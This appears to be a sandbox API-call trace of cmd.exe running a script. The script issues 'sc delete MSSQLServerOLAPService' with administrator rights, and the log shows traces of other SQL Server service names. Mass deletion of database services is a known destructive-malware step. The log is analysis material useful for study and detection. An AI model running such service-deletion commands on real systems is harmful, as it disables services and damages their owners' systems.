[0076.320] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerADHelper100\n\n") returned 1 [0076.320] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.320] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerADHelper100\n\n") returned 1 [0076.321] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.321] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.321] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerADHelper100\n\n") returned 1 [0076.321] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.321] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.321] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SSQLServerADHelper100\n\n") returned 1 [0076.321] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.321] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.321] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SQLServerADHelper100\n\n") returned 1 [0076.321] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.321] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.321] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="QLServerADHelper100\n\n") returned 1 [0076.321] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.321] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.321] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="LServerADHelper100\n\n") returned 1 [0076.322] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.322] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.322] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="ServerADHelper100\n\n") returned 1 [0076.322] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.322] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.322] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="erverADHelper100\n\n") returned 1 [0076.322] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.322] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.322] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="rverADHelper100\n\n") returned 1 [0076.322] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.322] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.322] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="verADHelper100\n\n") returned 1 [0076.322] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.323] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.323] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="erADHelper100\n\n") returned 1 [0076.323] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.323] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.323] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="rADHelper100\n\n") returned 1 [0076.323] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.323] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.323] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="ODHelper100\n\n") returned 1 [0076.323] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.323] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.323] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="LHelper100\n\n") returned 1 [0076.323] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.323] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.323] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="Aelper100\n\n") returned 1 [0076.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.324] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="Plper100\n\n") returned 1 [0076.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.324] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="Sper100\n\n") returned 1 [0076.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.324] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="eer100\n\n") returned 1 [0076.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.324] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="rr100\n\n") returned 1 [0076.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.324] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="v100\n\n") returned 1 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.325] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="i00\n\n") returned 1 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.325] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="c0\n\n") returned 1 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.325] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="e\n\n") returned 1 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.325] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] GetFileType (hFile=0xb8) returned 0x3 [0076.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.326] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.326] GetFileType (hFile=0x120) returned 0x3 [0076.326] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerOLAPService\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerOLAPService\n", lpUsedDefaultChar=0x0) returned 34 [0076.326] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x21, lpOverlapped=0x0) returned 1 [0076.326] GetProcessHeap () returned 0x240000 [0076.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.326] GetProcessHeap () returned 0x240000 [0076.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.326] GetProcessHeap () returned 0x240000 [0076.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.326] GetProcessHeap () returned 0x240000 [0076.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.326] GetProcessHeap () returned 0x240000 [0076.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4e) returned 0x25ba10 [0076.326] GetConsoleOutputCP () returned 0x1b5 [0076.326] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.326] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.327] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.327] GetProcessHeap () returned 0x240000 [0076.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.327] GetProcessHeap () returned 0x240000 [0076.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x259b30 [0076.327] GetProcessHeap () returned 0x240000 [0076.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0076.327] SetErrorMode (uMode=0x0) returned 0x1 [0076.327] SetErrorMode (uMode=0x1) returned 0x0 [0076.327] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.327] SetErrorMode (uMode=0x1) returned 0x1 [0076.327] GetProcessHeap () returned 0x240000 [0076.327] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0076.327] GetProcessHeap () returned 0x240000 [0076.327] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0076.327] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.327] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.328] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0076.328] GetProcessHeap () returned 0x240000 [0076.328] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0076.328] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.328] GetLastError () returned 0x2 [0076.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.328] GetLastError () returned 0x2 [0076.329] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.329] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0076.329] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0076.329] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.329] GetLastError () returned 0x2 [0076.329] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0076.329] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0076.329] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.329] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.329] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.329] GetProcessHeap () returned 0x240000 [0076.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.329] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.330] GetProcessHeap () returned 0x240000 [0076.330] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xba) returned 0x259180 [0076.330] GetProcessHeap () returned 0x240000 [0076.330] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xba [0076.330] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerOLAPService") returned 1 [0076.330] GetProcessHeap () returned 0x240000 [0076.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.330] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.330] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.330] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.330] GetProcessHeap () returned 0x240000 [0076.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.330] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 